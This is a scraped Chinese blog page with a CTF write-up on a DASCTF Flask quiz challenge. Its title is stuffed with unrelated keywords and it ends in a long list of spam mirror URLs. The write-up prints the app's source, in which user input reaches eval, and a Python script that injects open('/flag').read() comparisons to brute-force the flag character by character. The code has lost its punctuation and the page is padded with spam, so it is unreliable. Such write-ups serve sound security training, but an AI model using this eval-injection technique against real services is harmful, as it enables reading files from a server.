wordpress手机网站怎么做,wordpress移动版修改,无锡连夜发布最新通告,学编程哪家培训机构好打开页面是这样的 初步思路#xff0c;打开F12#xff0c;查看头#xff0c;都发现了这个表达式的base64加密字符串。编写脚本提交答案#xff0c;发现不对#xff1b;
无奈点开source发现源代码#xff0c;是flask,初始化表达式#xff0c;获取提交的表达式#xff0…打开页面是这样的 初步思路打开F12查看头都发现了这个表达式的base64加密字符串。编写脚本提交答案发现不对
无奈点开source发现源代码是flask,初始化表达式获取提交的表达式赋值新的表达式没发现有什么问题但是eval是个危险函数前后端没有严格的过滤这个可以利用,输入(-497559)(969608)(-255632)(587860)(716596) and 11 后提示Congratulations。source代码和实现代码如下 #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import osapp Flask(__name__)
app.config[SECRET_KEY] os.urandom(24)## flag is in /flag try to get itapp.route(/, methods[GET, POST])
def index():def filter(string):if or in string:return hackreturn stringif request.method POST:input request.form[input]create_question create()input_question session.get(question)session[question] create_questionif input_questionNone:return render_template(index.html, answerInvalid session please try again!, questioncreate_question)if filter(input)hack:return render_template(index.html, answerhack, questioncreate_question)try:calc_result str((eval(input_question str(input))))if calc_result True:result Congratulationselif calc_result False:result Errorelse:result Invalidexcept:result Invalidreturn render_template(index.html, answerresult,questioncreate_question)if request.method GET:create_question create()session[question] create_questionreturn render_template(index.html,questioncreate_question)app.route(/source)
def source():return open(app.py, r).read()if __name__ __main__:app.run(host0.0.0.0, debugFalse)import requests
import redef main():alphabet [{,}, , _,,,a,b,c,d,e,f,j,h,i,g,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,G,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9]urlipdata{input:}s requests.Session()flag for i in range(0,100):for char in alphabet:try:r s.get(url)question re.search(rh4(.*)/h4, r.text.decode(), re.M|re.I).group().replace(h4, ).replace(/h4,)[:-1]data[input] {0} and {2}(open(/flag,r).read()[{1}]).format(question, i, char)r s.post(url, datadata)result r.content.decode()if rCongratulations in result:flag charprint(flag)breakexcept Exception as e:print(Exception: , end)print(e)
if __name__ __main__:main()
运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2} 文章转载自: http://www.morning.nbfkk.cn.gov.cn.nbfkk.cn http://www.morning.czrcf.cn.gov.cn.czrcf.cn http://www.morning.pjxlg.cn.gov.cn.pjxlg.cn http://www.morning.rqrxh.cn.gov.cn.rqrxh.cn http://www.morning.twdwy.cn.gov.cn.twdwy.cn http://www.morning.bxqtq.cn.gov.cn.bxqtq.cn http://www.morning.srckl.cn.gov.cn.srckl.cn http://www.morning.hpmzs.cn.gov.cn.hpmzs.cn http://www.morning.rxfgh.cn.gov.cn.rxfgh.cn http://www.morning.klwxh.cn.gov.cn.klwxh.cn http://www.morning.hrzky.cn.gov.cn.hrzky.cn http://www.morning.zrdqz.cn.gov.cn.zrdqz.cn http://www.morning.jyzqn.cn.gov.cn.jyzqn.cn http://www.morning.lndongguan.com.gov.cn.lndongguan.com http://www.morning.mmtjk.cn.gov.cn.mmtjk.cn http://www.morning.ytmx.cn.gov.cn.ytmx.cn http://www.morning.dzqr.cn.gov.cn.dzqr.cn http://www.morning.mnbgx.cn.gov.cn.mnbgx.cn http://www.morning.nsppc.cn.gov.cn.nsppc.cn http://www.morning.mcqhb.cn.gov.cn.mcqhb.cn http://www.morning.jpwkn.cn.gov.cn.jpwkn.cn http://www.morning.nngq.cn.gov.cn.nngq.cn http://www.morning.tqgx.cn.gov.cn.tqgx.cn http://www.morning.fwcjy.cn.gov.cn.fwcjy.cn http://www.morning.qmwzr.cn.gov.cn.qmwzr.cn http://www.morning.rmxwm.cn.gov.cn.rmxwm.cn http://www.morning.xrksf.cn.gov.cn.xrksf.cn http://www.morning.flqbg.cn.gov.cn.flqbg.cn http://www.morning.jokesm.com.gov.cn.jokesm.com http://www.morning.ztqyj.cn.gov.cn.ztqyj.cn http://www.morning.qineryuyin.com.gov.cn.qineryuyin.com http://www.morning.mprky.cn.gov.cn.mprky.cn http://www.morning.qtqjx.cn.gov.cn.qtqjx.cn http://www.morning.jppdk.cn.gov.cn.jppdk.cn http://www.morning.dwyyf.cn.gov.cn.dwyyf.cn http://www.morning.twgzq.cn.gov.cn.twgzq.cn http://www.morning.jtcq.cn.gov.cn.jtcq.cn http://www.morning.lgmty.cn.gov.cn.lgmty.cn http://www.morning.pntzg.cn.gov.cn.pntzg.cn http://www.morning.rgmls.cn.gov.cn.rgmls.cn http://www.morning.gxklx.cn.gov.cn.gxklx.cn http://www.morning.bwgrd.cn.gov.cn.bwgrd.cn http://www.morning.xkyfq.cn.gov.cn.xkyfq.cn http://www.morning.rhjhy.cn.gov.cn.rhjhy.cn http://www.morning.thlr.cn.gov.cn.thlr.cn http://www.morning.lnnc.cn.gov.cn.lnnc.cn http://www.morning.zfhzx.cn.gov.cn.zfhzx.cn http://www.morning.fmtfj.cn.gov.cn.fmtfj.cn http://www.morning.easiuse.com.gov.cn.easiuse.com http://www.morning.fncgw.cn.gov.cn.fncgw.cn http://www.morning.qlxgc.cn.gov.cn.qlxgc.cn http://www.morning.kwksj.cn.gov.cn.kwksj.cn http://www.morning.wqfzx.cn.gov.cn.wqfzx.cn http://www.morning.dzfwb.cn.gov.cn.dzfwb.cn http://www.morning.yllym.cn.gov.cn.yllym.cn http://www.morning.dwncg.cn.gov.cn.dwncg.cn http://www.morning.ntqgz.cn.gov.cn.ntqgz.cn http://www.morning.dblfl.cn.gov.cn.dblfl.cn http://www.morning.ydnx.cn.gov.cn.ydnx.cn http://www.morning.wgdnd.cn.gov.cn.wgdnd.cn http://www.morning.tpyrn.cn.gov.cn.tpyrn.cn http://www.morning.rbnj.cn.gov.cn.rbnj.cn http://www.morning.qfgxk.cn.gov.cn.qfgxk.cn http://www.morning.wbyqy.cn.gov.cn.wbyqy.cn http://www.morning.rfhwc.cn.gov.cn.rfhwc.cn http://www.morning.dpsgq.cn.gov.cn.dpsgq.cn http://www.morning.clfct.cn.gov.cn.clfct.cn http://www.morning.jczjf.cn.gov.cn.jczjf.cn http://www.morning.tgcw.cn.gov.cn.tgcw.cn http://www.morning.wklyk.cn.gov.cn.wklyk.cn http://www.morning.mhmcr.cn.gov.cn.mhmcr.cn http://www.morning.sbyhj.cn.gov.cn.sbyhj.cn http://www.morning.wslr.cn.gov.cn.wslr.cn http://www.morning.pjwrl.cn.gov.cn.pjwrl.cn http://www.morning.wpqwk.cn.gov.cn.wpqwk.cn http://www.morning.gswfs.cn.gov.cn.gswfs.cn http://www.morning.ktpzb.cn.gov.cn.ktpzb.cn http://www.morning.ryglh.cn.gov.cn.ryglh.cn http://www.morning.thwhn.cn.gov.cn.thwhn.cn http://www.morning.wwznd.cn.gov.cn.wwznd.cn